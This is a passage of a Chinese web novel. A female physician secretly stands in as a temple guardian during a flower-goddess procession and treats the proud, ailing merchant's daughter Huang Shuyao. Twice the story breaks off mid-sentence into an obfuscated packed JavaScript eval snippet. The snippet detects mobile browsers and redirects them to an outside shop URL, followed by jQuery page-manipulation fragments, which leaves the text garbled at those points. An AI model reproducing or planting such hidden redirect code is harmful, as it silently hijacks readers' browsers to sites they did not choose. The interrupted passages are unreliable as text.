直到临近二更天时,黄舒窈才终于软着脚回到自己的住处,甫一关上房门,一口腥辣的酸水便直涌上来,熟悉的灼烧感停在喉头久久不褪,她忍耐不住,捂着上腹轻哼出声。 “呀!娘子!您这是咋啦?”阿姎见状,赶紧放下手中的活计,喊叫着小跑过来。 “不要紧,稍后就好了。”本就没什么血色的小脸,现在更显惨白。 这可不像没事的样子! 阿姎看她双手捂住腹部,额上冒着虚汗的模样,忙凑近低声问道:“娘子可是……癸水来了?” “不是!” 怎么会? 阿姎刚进黄家不久,规矩没学几天,故而说话也没个分寸,见黄舒窈不肯承认,竟拉着她苦口婆心地劝了起来:“娘子!咱们都是女娘家,您还有啥不好意思的呀?要不,我去小厨房给您做个红糖圆子暖暖身子?” 这会儿若再吃糯米配糖,岂不是要命? 黄舒窈赶紧拉住阿姎:“你别瞎折腾了,真不是癸水……我……已很久没来过了……” “那得去找郎中看看呀!”阿姎一听这话,更是焦急万分,“奴婢听人说过,久不来癸水可是个大事,耽搁不得!” “嗯,我懂。”黄舒窈强忍不适,点了点头。 “娘子您别怕不方便,咱们弋陵有女郎中的!不用不好意思!” “女郎中?”黄舒窈有些意外,在她的认知里,这可不是女娘家该做的事。 可阿姎却不这么认为。 她点点头,难掩钦佩之色,张口就为黄舒窈介绍起来:“就是在医馆归元堂里边坐堂的江娘子!您别担心,她人可好啦!而且还是青囊山庄的弟子,可有本事嘞!” “那我改日去看看……” 听她语气敷衍,阿姎微微皱眉:“娘子……您现在就不舒服了,怎么还要改日?” 黄舒窈的声音有气无力,听上去却是分外坚定:“我还有要紧事,得先做完再说……” “什么事能要紧过自己的身子呢?”阿姎不解。 她来到黄家的时日尚短,还不知眼前这位看似娇弱的女郎,实际上竟是块不肯服输的硬骨头。 黄舒窈也懒得再做解释,在吞下一颗止疼的丸药后就强行振作起来,不过半盏茶的工夫,便又开始了操练。 她头顶瓷碗、脚系银铃,在独木上来回行走,尽力模仿着神女应有的袅娜步态,一举一动尽是优雅从容,但内里却始终憋着一股气。 待到花朝节时,一定要完美亮相,决不能让旁人小瞧了去! 看着天边的那轮下弦月,黄舒窈在心中暗暗起誓。 24. 替身 晨光熹微,花神庙内却已是人声鼎沸。 此处名为“庙”,但又远不止是“庙”,除周边商户汇聚成集,庙内景观亦是规模不小,院子里不仅殿宇林立,还有楼台水榭、林木绿植,是弋陵百姓在初春时节踏青赏红的必去之处。 在神庙中央,有一汪名唤“春晖”的人工湖,碧水如玉,镶嵌在殿宇楼台之间,湖上建有九曲连桥,三座亭台连结其上,主亭共三层,与两侧的单层副亭相映成趣,错落如山,顶部皆装饰有重檐攒尖琉璃瓦,在初升的日光下闪着璀璨光华。 自主亭向外看去,最先映入眼帘的当是湖心那座小型的人工岛,此岛由早年疏浚此湖时挖出的淤泥积成,正是本次娱神祭典的演出场地。 小岛两侧浮桥如绸带舒展,将悬于湖心的水上舞台与两岸相连,远看就如一枚同心佩般,在那外环湖岸之上,是官府用彩绳划分出的清晰区域:一侧是成群结队的持票百姓正有序入场,另一侧则是经过严格筛选的商户在摆摊叫卖。 眼下时辰虽早,但花馔摊子前早已是人头攒动,江楚禾羡慕地看向正分食桃花酥的馋嘴小童,转头又隔着甲胄面具狠狠瞪了身旁那人一眼。 怀恩和她相对而立,也将脸孔藏在漆木面具之后,所以江楚禾没能看到他的表情,但她知道,这胆大包天的小道士必然仍勾着那抹狡黠的笑容,一副置身事外看好戏的样子。 她想得不错,但若说怀恩这般行事是没心没肺、不知死活,那委实还是有些冤枉他,毕竟方才他临时“请求”江楚禾顶替师弟,与他一同担当神女的金刚护法,也是事出紧急的无奈之举。 怀恩觉得,若一定要论个是非对错,此事首先要怪师弟怀英,若非此人贪玩不归,险些害得众人耽误吉时,他又如何需要紧急寻求替补? 其次,还得怪江娘子本人,谁让她身形与怀英相差无几,在穿上甲胄、戴起面具后更是看不出一丝异样? 而且,在他急着满院子寻人时,她偏巧就出现在了自己的视野之中,这不是天意又是什么? 正所谓“天予不取,反受其咎”,此等良机还不得速速抓住? 是以,怀恩当即就决定让江楚禾充作师弟的替身,为此还绞尽脑汁编出一套诡辩说辞,用来哄劝对方上钩,果然顺利将她骗来此处,填上了那个左护法的空缺。 怀恩不禁为自己的口才暗自得意。 但实际上,江楚禾之所以甘愿就范,背后也是另有自己的一番考虑。 一则,娱神祭典若因“护法”失踪而耽搁,花神会不能圆满成功,届时一众商户都捞不到好,她是其中之一,自不愿见到此事发生;二则,两位“金刚护法”需在游神活动中时时伴在“神女”左右,这可是她接近黄娘子的最佳时机,若能借此同这位主顾拉上关系,将来入账的可都是白花花的银子,辛苦几个时辰又有什么? 至于其中风险…… 江楚禾自认有能力蒙混过关,毕竟昔年她为能当好那个劳什子齐王妃,还曾特意修习过宗祀仪范,对什么步罡踏斗、斋醮科仪之类可说是再熟悉不过,必不会被人窥破行藏。 果然,就连鹤鸣观的监院元清都没能发现端倪。 此时他就站在距离江楚禾三步之远的位置,一边念诵着玄奥的《请神科》,一边手持朱笔,在黄舒窈的眉心点下一颗丹砂。 元清高唱道:“神明归位,巡游启程!” 话音未落,殿外一阵钟鼓齐鸣。 江楚禾与怀恩一左一右,紧随黄舒窈走出大殿,向庙外行去,一辆由四头犍牛牵引的巨型花车正等在此处。 华盖之下,“莳花神女”黄舒窈端坐正中,而江楚禾与怀恩这两位金刚护法则手持伏魔杖,分别肃立于车驾两侧,同神女一起朝附近的津渡进发。 花车缓慢碾过青石板路,街道两旁的百姓纷纷驻足致意,有胆大者已在高声议论起“神女”的惊人的美貌来,而当几人踏上那艘装饰着鲜花与锦缎的“神船”时,两岸的欢呼声更是此起彼伏。 “神女保佑!今年必定风调雨顺!” 随着一阵锣鸣声响,漫天花瓣如雨落下,有从岸上投过来的,也有神船两侧伴游的“仙子们”向外抛出的。 两岸孩童相互追逐、嬉闹不停,适龄女娘们多是面带红晕、含羞带怯地争抢着从神船掷出的花朵,以求能得到经由神女娘娘赐福的天定良缘,而老人们则恭敬作揖,衷心祈求五谷丰登。 江楚禾耳闻目睹眼前的热闹景象,难免深受感染,也随着阵阵人声来回张望起来。 突然之间,人潮中出现一个熟悉的黛紫色身影。 她略一怔愣,而在这个瞬间,那人就像是心有感应一般,也隔着拥挤人群朝她定定望去,两息之后,他微一颔首,似乎是在向她致意。 江楚禾一惊:不是吧……不是吧……这样都能认出来? 一股热意莫名冲上面颊,她心虚地别过脸,看向另一个方向,但身后的那道目光却始终跟随着她,直到神船越行越远,终于抵达他们的目的地,官署码头。 接下来,游神的队伍就要换回犍牛所拉的花车,绕行州府衙门,以示神权与政权的互相致意。 此行的象征意义非比寻常,众人自然都铆着十二分的精神严肃对待,就连岸边围观的百姓也不敢再继续喧闹,现场一时无声,直到人群中突然冒出一声来自孩童的稚嫩嗓音。 “爹,这回的神女娘娘一点都不像!” “闭嘴!” “本来就是!她笑得真假,看上去比庙里那个还像假人哩……” “快别胡说了!” 胆大的孩童被父亲捂着嘴扯远,在一阵窃窃私语后,人群终于又恢复方才的寂静无声。 黄舒窈深深吸气,维持住练习已久的表情,起身向岸上众人致意,看上去仍如这一路行来那般完美,但藏在袖中的双手却已紧握成拳。 她心中有气,但却并非是因那孩童失言。 所谓“童言无忌”,皆因稚子诚实率真、直言不讳。 真正令黄舒窈心中难过的,从来不是有人指出她的不完美,而是她知道自己何处不足,却又无能为力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923009|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 神女仪态庄重而心怀悲悯,眼中当有慈爱,却又不失活泼生机。 她明白,可她就是做不到! 黄舒窈紧咬牙关,生生咽下堵在喉头的那股酸苦不甘,颤颤巍巍地踩上下船的踏板,面前是秩序井然的官署津渡,可在她的眼中却是景象变幻,那日被人劫持的往事在脑海中迅速闪过,她瞬间脚下一软,险些跌倒在地。 “小心!” 江楚禾眼疾手快,一个箭步上前,右手稳稳托住黄舒窈的手肘,远远看去像是左护法在尽职尽责地搀扶神女,但她的三指却借着宽大袖口的遮掩,径直搭上了对方的腕脉。 指下脉象急如弦动,她心下了然,飞快地将一枚瓷瓶塞进黄舒窈的手中。 后者在袖中用指腹摩挲着那个精巧的小瓶子,上面刻着三个小字:和胃丹。 见对方有些迟疑,江楚禾凑到黄舒窈耳边,压低声音,用气声低语道:“娘子是胃气逆乱所致的绞痛,稍后趁着上车整顿的时机先含服一粒,可止痛顺气,稍作缓解。” 刚才对方扶住她时,黄舒窈就觉得那声线不似男子,这一长串交代更令她确信无疑,她有些惊讶:“你是……女医?” 江楚禾腹诽:如此紧急的当口,怎么黄娘子还有工夫纠结这种小事儿呢? 但这可是千载难逢的自荐机会,她从善如流,老实回道:“在下归元堂女医江阿九,乃青囊山庄弟子。” 青囊山庄的招牌一打出去,病患自然疑虑全消,黄舒窈也乖乖遵循医嘱,在上车后趁着众人忙乱的当口,悄悄将一粒和胃丹含在舌下。 约莫半盏茶的工夫,上腹的绞痛就渐渐褪去。 黄舒窈暗自松一口气,眼看花车就要行驶到州府衙署门前,可不能在如此要紧的时刻失了仪态。 “神女”此时打足了精神,而“左护法”江楚禾也丝毫不差。 借着面具的遮挡,她放心扫视着府衙门前那一众行礼作揖的官员,最后将目光锁定在为首那位四品高官,陶使君的脸上。 陶晋,陶子昇,此人是寒门出身,科举二甲入仕,之后在工部诸司深耕多年,五年前便已爬到工部侍郎之位,不过后来江氏覆灭,江楚禾断了消息来源,也不知此人是在何时,又是因何故才被外调宁州,成为这一州刺史的。 但有一点却没有疑问:因为经建兴帝改制之后,本朝各州刺史虽执掌一州民生,却远离中枢,且皆无军权,所以这个宁州刺史对陶晋而言,无异于明升暗降。 那他是犯了建兴帝的什么忌讳,才沦落到这般田地的呢? 江楚禾不禁想起与此人有关的一则传闻。 据称陶晋年轻时便是才貌俱佳、颇有贤名,因而在高中二甲后便有不少京中官员与之结交,更有甚者还直言要榜下捉婿,但无论对方门第官职几何,一概被他婉拒,如此拖延数年之后,坊间便传出陶晋身患隐疾的流言,不想他却也一笑置之,不仅没有同谁联姻,甚至不曾有过说亲的尝试。 直到他在八年前遇到王二娘,虎贲中郎将王冀将军的千金 25. 心结(上) 可惜,这桩婚姻并非什么“君子守志,以待命定良缘”的天作之合,因为陶晋也是因皇权威压,才被迫应下此事。 王二娘倨傲骄纵,在兴京人尽皆知,年近三旬仍无人敢娶。但无论京中流言如何,她都毫不在意,整日同男子混迹一处,跑马舞剑,好不快意,而王冀将军因三王之乱连丧数子,膝下仅剩这一个宝贝,自然也就由着她去。 就这样,在众人都以为王二娘将终身不嫁,必定要当一辈子的老姑娘时,她却莫名其妙地对已经三十有一,但仍不曾婚娶的工部员外郎陶晋产生了兴趣,甚至不惜自毁名节也要与他成事,一时间,在京中闹得是满城风雨。 那时江楚禾年纪还小,对其中内情了解不多,只听说最后是建兴帝亲自做媒,才终于平息这场闹剧,此后两人似乎再没闹出过什么风波,而陶晋也在这桩婚事的加持下步步高升,不过两年工夫,就爬上了工部侍郎的高位。 或许,正是因为这个原因,才引来建兴帝的忌惮,进而让他落得个外调的结局? 江楚禾暗自思忖。 她曾听祖父说起过陶晋的身世,此人尚在襁褓之时便因母亲被休回娘家而过继在舅父名下,之后又因家道中落,一度要靠半工半读才能支撑学业,想必身后全无助力,而他在入仕之后也从不费心钻营,全凭真才实学在官场行走。 如此勤恳实干的本分人,若看在那时的建兴帝眼中,恐怕只当是让个迂腐的寒门子弟接盘王二娘这“烫手山芋”,此举既能安抚住爱女心切的王冀,又能彻底断绝王家和其他高门联姻、继续壮大势力的可能。 若非后来陶晋逐渐显山露水,以至于不提拔他都难以服众,恐怕建兴帝还在为这个一石二鸟的妙计而自鸣得意。 只是…… 如今他选择将此人外调宁州,究竟有几成是因为寒门新贵与禁军统领的关系所引出的猜忌,又有几成是源自武烈侯晏襄和虎贲中郎将王冀两人的同袍之谊呢? 都说“君心难测”,这话委实不假,江楚禾暗自琢磨了一路,可直到花神庙已近在眼前,仍没想出个所以然来,只好先将此事压在心头。 毕竟现下她身份低微,一时也攀不上陶使君那样的贵人,即便断定他对皇权心存怨怼,也难以借此为自己谋事,怕是还得寄希望于家里那个旧相识。 江楚禾轻声叹气,看向不远处正对着春晖湖的三层高亭,那是专为一众官员们准备的贵宾席位,而侧旁两座副亭中,也早已坐满应邀与会的豪绅巨贾。 作为本次花神会中出资最多的大东家,黄季一家得以拥有独享整座副亭的优厚待遇,可黄四爷本人却只恨此处还不够宽敞。 “哟!夫君这是身子不爽利么?” 陈德音将目光从刚下花车的黄舒窈身上挪开,又放在黄季因心情烦躁而不住抖动的右腿之上。 “无事,夫人不必费心。”黄季冷冰冰地回道。 “是么?我看夫君自打进了这亭子,便一副如坐针毡的模样,还当是夫君偶染微恙,正想着替你将南山堂的林伯鸿请来瞧瞧,若有什么毛病也好早些医治,免得耽误近日的‘喜事’!” 陈德音特意加重最后两个字的读音,像是生怕对方没有领会她是因何事在闹着别扭。 黄季早知她心中芥蒂,却也是无可奈何。 他长长叹出一口浊气,侧过身将陈德音挪到自己的视线之外。 按照大梁律令的规定,即便妻子犯有七出之罪,但若是已无娘家可归或者在贫贱时曾共患难的,其夫皆不可休妻。 因此,黄季只得早早断绝和离的念想,将“眼不见,心不烦”奉为与陈德音相处的核心法则,时时默念“莫生气”以稳住心性,才不至于在公众场合与自家发妻起什么冲突。 “莫生气、莫生气,人生就像一场戏。” 黄季微微闭眼,又将维持体面的秘法心决默诵起来,可还未等他将继续演戏的扮相挂回脸上,配角就已走到门口。 “黄四爷!” 来人乃是城中知名古董铺子宝蕴楼的掌柜言诩,言文通。 “哎呀!言掌柜!许久不见,为兄正想着你呢!快请进!” 黄季热情地迎上前去,与其称兄道弟,看上去很是熟络。 与之相比,陈德音的脸色就要难看许多。 她自恃出身显赫,若非母亲早年听信所谓“碧璆岛圣女”的谶语,执意要将她嫁给黄季,陈德音是断不会与这些白衣商户为伍的。 更何况,十余年前她便听说言文通是靠制售名家伪作赚得第一桶金,实在下作得很,虽然这一传言尚未有实证,且随着时间推移渐渐也不再被人提起,但想来流言不会凭空而起,她瞧不上此人也理所应当。 “我出去透口气。” 陈德音冷着脸起身,在经过言诩身旁时,视线只是堪堪停留一瞬,便勉强算作是打了招呼,而后就径直朝亭外走去。 黄季脸上的笑容瞬间僵硬。 好在言诩并未将陈夫人的轻慢放在心头,他将手中的紫檀画匣捧到黄季面前,乐呵呵地献上:“这是小弟近日新得的宝贝,特意拿来孝敬您的!” 卷轴展开,正是泽甫先生的名作,《福莲鸳鸯图》。 “‘莲’生贵子,鸳鸯于飞。恭喜黄四爷,得偿所愿!” 黄季闻言,会心一笑。 而正在亭外的陈德音听后,面色却愈发有些黑如锅底。 池玫见状,忙用手指着春晖湖的方向,设法引开她的注意:“夫人,您快看!” 陈德音遥遥望去,申时的日光带着些许蜜色,播撒在春晖湖上,将湖心的舞台笼在金光之中,还当真是有几分神迹降临的意味。 黄舒窈就站在舞台正中,静静等待鹤鸣观监院元清为她拭去眉心的那一点赤红。 虽有不舍,但一切终将结束。 即便她贪恋人们的仰慕,心中却也明白,百姓们跪拜的是传说中以身救世的莳花神女,而她只是有幸暂时偷走那份荣耀的一个可怜替身。 黄舒窈阖上双眼,任由元清将那点象征神明驻跸的朱砂轻轻抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923010|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 “礼成!”元清放下手中的柳枝与素帕,高唱道:“神女归位,福泽永驻!” 湖畔两岸随之爆发出阵阵欢呼,震耳欲聋的钟鼓声瞬时响彻天地。 黄舒窈身在喧闹之中,心底却没有一丝喜悦,因为她明白,待褪下这身代表神女的华服与冠冕之后,她将彻底回归自己原本的身份。 那个必须时刻保持矜持优雅,展现温婉贤淑,以求能借婚姻攀上高门的商户之女。 如此想着,她下意识放缓脚步,急得怀恩直想骂娘。 今日被拘在这副甲胄之中快要一天,他早就有些难耐,好容易等到仪式结束,自是想快些将这身劳什子换了去。 几人刚到达用来更衣的小殿,怀恩就忙不迭地冲进屋内,三下五除二地将那身厚实的护法装扮扒拉下来,待换回自己的青布常服,又揉了揉酸痛发僵的肩颈,身上才总算感到松快一些。 “江阿姊教的这手推拿功夫还真是不赖!” 怀恩自言自语着往门口走去,可当他隔着窗纸看见站在外边的那个人影时,又心虚地止住了脚步。 清晨他忽悠人家帮忙时,可没说要穿着厚重甲胄站三个多时辰,当时事态紧急,江娘子尚且不同他计较,眼下危机已解,别是还要找他算后账吧! 怀恩迟疑几息,硬着头皮打开房门。 果然,江楚禾正抱着换下的行头站在门外,似笑非笑地看向他。 怀恩赶忙祭出一副狗腿嘴脸,“今日辛苦江阿姊了!多亏有您!您就是我命里的大救星!” 看他这副嬉皮笑脸的样子,江楚禾轻哼一声,把手中之物一股脑地往对方手里塞,“你少拿话哄我!以后再有这种事儿,千万别找我,你就自个儿兜着吧!” 怀恩手忙脚乱地接住,见她不像真格生了气的模样,便大着胆子又笑嘻嘻地凑到近前:“福祸相依,机缘天定,此乃命数,由不得你我啊!” “就你歪理最多!”江楚禾没好气地剜他一眼。 怀恩正要继续,身后另一扇门轻轻开启,发出“吱呀”的声响,两人循声望去。 黄舒窈正立在门边,视线在对面两人的面上来回逡巡片刻,又定格到江楚禾的脸上。 “方才的护法,是你?” 怀恩心头一跳,猛然意识到事情不妙,虽说先前排演时,黄娘子并没有见过自己和怀英的面目,可也该想得到这护法之位当由观中弟子担当,眼下换了女医,还真是不好解释。 他正急着,却见江楚禾从容一福。 “黄娘子安好,敝人乃是青囊山庄门下医馆归元堂的坐堂女医,名唤江阿九,方才的左护法正是在下。” 先前江楚禾就曾在紧急之下向她透露过自己的身份,只是那时黄舒窈无暇多想,待大事了结,这才顾得上细细琢磨,不免有些心惊。 如此盛大庄重的仪式,伴在神女身侧的护法竟能轻易被人顶替了去? 想到此处,她心下愈发不安,连声线都有几分颤抖:“怎……怎么会是你?” 26. 心结(下) “自然是因为监院真人他深谋远虑啊!”江楚禾神色如常,语气诚恳,“元清真人忧心今日人潮汹涌,而神女殿下凤体矜贵,万一途中因拥挤或日晒而突发不适,身边若无医者恐会耽误大事,故特意安排江某随行,以便就近照应。” 听她这么说,怀恩立马心领神会,接话配合道:“正是如此!黄娘子有所不知,这位江娘子并非寻常游医,乃是青囊山庄现任庄主的关门弟子,当年宁州大疫期间,曾凭一己之力救活数百名身患疫病的百姓,还因此受过刺史大人的嘉奖呢!” 两年前的宁州大疫并未波及二林村的田庄,因而黄舒窈对此事感受不深,但她曾听人说起过,那时官府已束手无策,便将重症者集中于善堂之内,意图让他们自生自灭,是来自郾州的青囊山庄弟子不惜立下生死状也要救人,竟顺利挽回百来条人命,莫非那人就是这江娘子? 见她面露狐疑之色,怀恩继续加码:“江娘子医术高明,同我们鹤鸣观也缘分不浅,观内有不少长老都要多劳她请脉调理,监院真人对她的为人和医术可是极信赖的!请她担当左护法之位,可谓是最稳妥、最两全其美的法子!” 这一番话假中有真,果然唬得黄舒窈不敢再质问下去,直觉告诉她其中必有蹊跷,但一时却又无从辩驳,只得用纤细的玉指不停绞着手中的丝帕,片刻后才低低回应:“这样啊……” 问话的人心虚气短,但圆谎的人却满脸坦荡。 江楚禾上前一步,从容道:“监院真人一片苦心,也是为保仪式万全才出此下策,若黄娘子仍有疑虑,不妨向真人亲自求证。” 此言一出,黄舒窈瞪圆双眼。 向监院求证?疯了吧! 鹤鸣观在大梁地位超然,观内主持冲虚真人更是手握先帝亲赐金牌,就连刺史大人都要礼让三分,自己怎可能因为这点小事就去质问人家的二把手? 更何况,游神活动已圆满结束,无论这女医是如何当上的左护法,黄舒窈都不得不承认,此事并未因其生出变故,甚至此人还当真在情急之下帮了她一把。 若这么揪着不放,岂不是显得自己既气量狭小,又不识好歹? 黄舒窈强行压下心里的种种疑问,挤出一个得体的微笑:“江娘子言重,今日多谢你出手相助,我还有事,先告辞了。” 说罢,她转身就朝殿外走去。 按原定计划,该是阿姎来此处将她接回去的,可眼下黄舒窈一刻都不想在殿内多待,便只得大着胆子孤身往副亭走去。 此处是位于主神殿侧旁的一间小偏殿,而她的目的地则是正对春晖湖的亭台,那里与供奉莳花神女像的主神殿同在花神庙的中轴线上,二者遥遥相望。 若想从坐北朝南的主神殿前往南端的观景亭台,自然是径直穿过春晖湖最为便捷,但此时湖畔两侧游客云集,百姓相互嬉闹推搡,如果强行穿过,势必就要混迹于汗湿、拥挤的人群之中,于她而言难免煎熬。 万幸,主办方早就考虑到了此项不便,因而特意将环绕花神庙的桃林按东西两侧分别管理,其中东林供百姓游赏,西林则作为贵宾步道,兼作与会商户和管事差役们公干使用,以彩绳划分出清晰边界,外围皆有衙役巡视把守,是现下这一片喧嚣之中,唯一的清静去处。 就是未免太过清静,甚至有几分阴森之感。 傍晚的日光穿过茂盛的枝叶,在林间投下一处处暗影,黄舒窈踩着石径上的光斑,下意识加快脚步。 她虽是长在乡下田庄,却一直过着寻常闺阁千金的日子,每日弹琴绣花,闭门不出,现下独自走在此处,竟有些担惊受怕。 可如果折返回去…… 想起小殿内的那两人,黄舒窈立即掐灭这个念头。 现在退缩,岂不是上赶着给人看笑话? 自尊心迫使她硬着头皮继续向前走,耳边传来舞台上的鼓乐声,夹杂着她的心跳,还有风吹树叶的沙沙作响,一下一下,惹得她疑神疑鬼,总觉得不远处有陌生的脚步正在迅速迫近。 “咚。咚。咚。” 擂鼓声轰然作响,黄舒窈被这动静震得猝然战栗,下意识停住步伐。 就在此时,一股大力猛地撞向她的肩头。 “啊!” 黄舒窈惊呼一声,不受控制地向前扑去,手肘和膝盖重重磕在碎石路面上,发出一声钝响。 撞倒她的那人也踉跄几步,停了下来。 他似乎没料到会撞到人,在犹豫几息后,才再次抬脚,像是准备逃离此处。 “站住!”怒意直冲心头,黄舒窈顾不得起身,坐在地上就大喝道:“你是哪家的下人?” 她本想质问“你主子是怎么教的规矩”,但又怕人家是在官府老爷手下做事,正所谓“打狗还得看主人”,如此咄咄逼人恐会得罪贵人,只好又降下声调,临时改换说辞:“怎的撞着我也没个说法?” 那人身形一顿,缓缓转过身来。 在树荫与暮色的光影交织下,黄舒窈这才看清对方的面容。 那是一张黑黄干瘦的脸,两颊深深凹陷下去,显得颧骨格外高耸,为此人平添几分怪异,而更令人感到惊悚的,则是他脖颈侧面那一片片蛛网状的暗红痣痕,在晦暗的光线下,宛如话本中那个索命的厉鬼。 黄舒窈吓得瞬间噤声。 “咚。咚。咚。” 锣鼓声混合着心跳在耳畔轰鸣,掺杂其中的还有一阵断断续续的脚步声。 有人来了! 黄舒窈顾不得思考,大声呼救道:“来人……” 可惜,她刚发出两个音节,就被面前的中年男子捂住嘴巴,一股陈腐泥土的气味瞬间灌满鼻息,混合着惊惧与怒火,尽数卡在她的喉头。 完了。 泪水夺眶而出,黄舒窈闭上眼睛。 那只粗糙的手掌缓缓挪开,却并未如她预料一般移向脖颈。 莫非…… 他不是歹人? 这么想着,黄舒窈又试探性地睁开双目,可就在她撩起眼皮的瞬间,漫天花瓣如雨降落,劈头盖脸地洒她一身,让人一时间不知如何是好。 趁她怔愣着,那中年男子迅速向她抛出一个物件,然后转身便往桃林深处跑去,不过片刻工夫,就消失得无影无踪。 黄舒窈这才看清,他朝自己掷过来的竟是一个被扯开的香囊,里面还残留着几片残碎的花瓣,想必方才此人抛向自己的那些便是用来填充此物的。 想起那张黑黄干瘦的脸孔,她不禁一阵干呕,如避蛇蝎般将那东西丢向远处。 她惊魂未定,又羞愤至极,现下浑身颤抖不已,偏生刚刚摔落在地的麻木感已逐渐消褪,身上各处的刺痛也开始显露出来,其中尤以脚踝的肿痛最甚。 黄舒窈用手撑着地面,紧咬牙关尝试多次都没能顺利起身,终于瘫坐下去,垂起泪来。 就在她饮泣之时,一阵清越的歌声从身后飘来,是有人正和着舞台上演奏的琴曲轻轻哼唱,而那人的嗓音,她格外耳熟。 黄舒窈不禁暗骂:怎么又是那女医! 她慌忙拭去两颊上的泪水,可不过几息之间,脚步声就已停在背后。 “黄娘子?”江楚禾惊讶道:“你怎么坐地上?” “……”黄舒窈不知该如何回复。 实话实说吗? 她不明不白地被人推倒,按说是该讨个说法,可一想起曾被那般肮脏丑陋的人触碰过,她只觉自己都变得污秽不堪。 此等屈辱,如何能向旁人启齿? 更何况,她眼看就要及笄,断不能传出什么风言风语。 那日在码头她被歹人劫持之时,现场还有诸多见证,可今日在林中唯有她和那脏东西两人而已,若是将此事传扬出去,经人添油加醋一番之后,又会变成什么样子? 想到此处,黄舒窈打定主意,此事断不能让任何人知晓! 她拍拍身上的花瓣与尘土,强作镇定道:“没什么……只是天色昏暗,不小心摔了一跤,不打紧的。” 江楚禾一听,立马丢下手上刚摘的桃枝,走到近前:“摔跤可不是小事!是不是扭着脚了?” 黄舒窈默默点头,松开用手捂着的右踝。 “我来看看。”江楚禾蹲下身,手法专业地检查起来,很快就得出结论:“是筋出槽了,需得立刻归位,否则一会儿再肿起来,会更受罪!” 说话间,她的双手已分别扣住黄舒窈的足跟与足背。 “待会儿可能有一瞬间会 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但眼前之人,虽是一介区区女医,却能凭那手“不入流”的技艺得到刺史大人的嘉奖,还一次又一次地在危急时刻对自己施以援手,更衬得她精心雕琢十余年的“完美”是如此的虚浮可笑。 难道是母亲错了吗? 黄舒窈被这个念头惊得一身冷汗,当即在心底喝止了自己的荒谬想法。 不! 世间千千万万的夫人女郎,又有谁人不是如此? 相夫教子,乃是女娘家安身立命的正道! 她下意识地打量着江楚禾,试图遵循旧日纲常去评判对方价值几何:此人抛头露面,以杂术谋生,虽能博得些许虚名,却终究是失了清贵,试问哪家高门大户愿求娶女医为妇? 纵有一时风光,将来却未必能找到什么像样的归宿! 如此想来,黄舒窈心中果真好受不少,她起身将略显凌乱的裙摆稍加抚平,又挺直脊背继续审视起对方的外貌来。 江楚禾生了个高挑丰满的身板,但看在她的眼中,却未免不够轻盈窈窕;而那副眉眼虽娇美浓丽,却半点脂粉也无,在她看来终究还是不够精致。 然而,这个念头刚起,又被另一个想法迅速压下:此人不施粉黛都有如此颜色,若稍通妆扮之术,那岂不是…… 挫败感再度袭来,黄舒窈攥起拳头。 “告辞了。” 她匆忙说道,也不等对方回话,便已径自迈开脚步,试图逃离此处。 然而脚下刚一用力,刚才被正骨归位的脚踝就传来一阵酸胀刺痛,黄舒窈身形一晃,险些再度跌倒。 “小心!”江楚禾眼疾手快,一把扶住对方,“现下气血未通,筋脉尚弱,最忌贸然用力,黄娘子近日还是缓行静养为上。” 可恶!又被她看到了自己狼狈的样子! 黄舒窈脸颊微热,强行挣开身旁那人的手,“我知晓了,多谢提醒。” “不必客气。”江楚禾看出她有些别扭,却无意点破,只道:“此处到副亭尚有一段距离,黄娘子行走不便,我搀你一程可好?” “不用!”黄舒窈几乎是立刻拒绝,因过于急切的缘故,连声音都有一些尖锐,但很快她就意识到自己的失态,又放缓语气,却仍未松口:“我自己慢慢走就好,你不必费心。” 说罢,她赌气似地大步离开。 可上天似乎有意同她作对一般,在黄舒窈强撑着走出几步后,一股熟悉的绞痛突然从胃部窜起,令她眼前一黑,脚下也不受控地磕绊起来。 “小心!” 江楚禾一个箭步上前扶住对方,这才发现,那双纤细玉臂正不住地打着寒战。 “你别逞强了,快说,还有哪里不舒服?” 黄舒窈疼得说不出话,她只想挣脱对方的束缚,却又浑身虚软无力,只得依靠这点力量才能站直身体。 正在两人拉锯之时,一个熟悉的清脆嗓音突然响起,打破了眼下的僵局。 “娘子!您怎么自己出来了?诶?江娘子?” 江楚禾抬头看去。 来人正是阿姎。 27. 故人(上) “娘子?您这是咋啦?”阿姎小跑而来,待看清自家娘子的状态,她立即明白发生了什么,毕竟这副模样她近日可是见过太多次:“哎呀!又腹痛啦?” 黄舒窈虚汗连连,无力还口,只得任由她将那些不堪悉数抖落。 “江娘子!您快给看看吧!娘子这十来天就没舒服过!吃了疼,不吃也疼,还反酸水,一直胀气,又打不出嗝,真不知有多难受……娘子为了花神会不受影响,还硬撑着不肯瞧病……就连癸水都……” “阿姎!” 听她提起这茬,黄舒窈终于忍不住出言制止,却只在咬牙憋出两个字后又因绞痛难捱而被迫噤声。 阿姎自知失言,只好扁扁嘴止住话头。 但无需她多说什么,江楚禾也早就已瞧出端倪。 望闻问切乃是医家的基本功,她在初见黄舒窈时便一眼就看得出来,此人虽面容白皙,却毫无血色,精致妆容的掩盖下,尽是藏都藏不住的疲态,闻其语声亦是低微细弱,明显中气不足。 江楚禾忙从腰间佩囊里掏出一瓶和胃丹塞给对方,看着她服下之后又不由分说地扯过对方手臂,将三指搭上纤细的手腕,凝神片刻,心下豁然。 此人的右关脉细弱无力,是脾胃虚极之兆。 